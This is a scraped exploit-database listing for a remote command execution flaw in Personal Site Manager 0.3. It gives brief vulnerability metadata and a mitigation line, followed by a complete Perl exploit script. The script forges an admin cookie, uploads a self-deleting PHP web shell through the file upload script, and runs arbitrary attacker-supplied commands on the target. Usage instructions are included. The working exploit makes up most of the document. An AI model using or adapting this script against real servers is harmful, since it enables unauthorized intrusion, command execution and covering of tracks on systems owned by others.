header-logo
Suggest Exploit
vendor:
Personal Site Manager
by:
darkjoker
9.3
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: Personal Site Manager
Affected Version From: 0.3
Affected Version To: 0.3
Patch Exists: YES
Related CWE: N/A
CPE: a:psm:personal_site_manager:0.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Personal Site Manager <= 0.3 Remote Command Execution Exploit

This exploit allows an attacker to execute arbitrary commands on the vulnerable system. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'upload_file.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious PHP code in it. The malicious code will be uploaded to the vulnerable server and executed.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to apply the patch as soon as possible.
Source

Exploit-DB raw data:

# --+++===========================================================================+++--
# --+++====== Personal Site Manager <= 0.3 Remote Command Execution Exploit ======+++--
# --+++===========================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket;

my $hostname = shift;
my $path = shift;
my $cmd = join " ", @ARGV;

usage () if (!$path);

open SHELL, ">shell.php";

# shell.php will be delete, it won't leave any trace about exploit's run
print SHELL "<? system (\$_GET ['cmd']); unlink ('shell.php'); ?>";
close SHELL;

my $url = "http://${hostname}${path}/psm/upload_file.php?submit=banane";
my $lwp = LWP::UserAgent->new;

# This CMS is also vulnerable to Insicure Cookie Handling
$lwp->default_header('Cookie' => "PSMADMIN=true");

my $req = $lwp->request (
              POST $url,
              Content_Type => 'multipart/form-data',
               Content      => [upload => ["shell.php"]],
             );
unlink ("shell.php");

if ($req->is_success)
{
    my $sock = new IO::Socket::INET (
        PeerHost => $hostname,
        PeerPort => 80,
        Proto    => "tcp",
    );
    print "\n[+] Running ${cmd}...\n\n";
    $cmd =~ s/ /%20/g;
    print $sock "GET ${path}/psm/datastore/files/shell.php?cmd=${cmd}\r\n\r\n";
    
    print $_ while (<$sock>);

    close ($sock);
    print "\n";
}
else
{
    print "[-] Unable to end execution.\n";
}

sub usage
{
    die "\n[+] Personal Site Manager <= 0.3 Remote Command Execution Exploit".
        "\n[+] Author  : darkjoker".
        "\n[+] Site    : http://darkjoker.net23.net".
        "\n[+] Download: http://garr.dl.sourceforge.net/sourceforge/psm/psm_0_3.zip".
        "\n[+] Usage   : perl ${0} <hostname> <path> <cmd>".
        "\n[+] Ex.     : perl ${0} localhost /PSM ls -l".
        "\n\n";
}

# milw0rm.com [2009-01-29]